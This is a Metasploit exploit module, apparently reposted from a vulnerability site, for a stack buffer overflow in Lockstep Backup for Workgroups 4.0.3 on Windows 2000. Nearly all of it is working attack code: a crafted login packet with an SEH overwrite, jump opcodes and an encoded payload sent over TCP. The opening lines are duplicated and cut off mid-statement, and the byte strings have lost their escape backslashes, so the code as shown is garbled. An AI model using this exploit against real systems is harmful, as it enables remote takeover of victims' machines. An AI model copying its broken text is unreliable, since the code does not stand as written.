require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Lockstep Backup for Workgroups <= 4.0.3',
'Description' => %q{
This module exploits a stack buffer overflow found in
Lockstep Backup for Workgroups <= 4.0.3. The vulnerability
is triggered when sending a specially crafted packet that
will cause a login failure.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://secunia.com/advisories/50260/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "x00",
'PrependEncoder' => "xebx03x59xebx05xe8xf8xffxffxff",
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows 2000 ALL EN',
{
# msvcrt.dll
# pop ecx/ pop ecx/ retn
'Ret' => 0x780146c0,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 11 2013'))
register_options(
[
Opt::RPORT(2125),
OptString.new('USERNAME', [ true, 'Username of victim', 'msf' ])
], self.class )
end
def exploit
connect
uname = datastore['USERNAME']
p = "x90" * 16
p << payload.encoded
packet = rand_text_alpha_upper(10000)
packet[0, 8] = "BFWCAx01x01x00"
packet[8, uname.length] = "#{uname}x00"
packet[73, p.length] = p
packet[7197, 4] = "xebx06x90x90" # jmp $+8
packet[7201, 4] = [target.ret].pack('V')
packet[7205, 8] = "x90" * 8
packet[7213, 2] = "xffxe7" # jmp edi
print_status("Trying target %s..." % target.name)
sock.put(packet)
handler
disconnect
end
end
Lockstep Backup For Workgroups 4.0.3 Buffer Overflow
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 461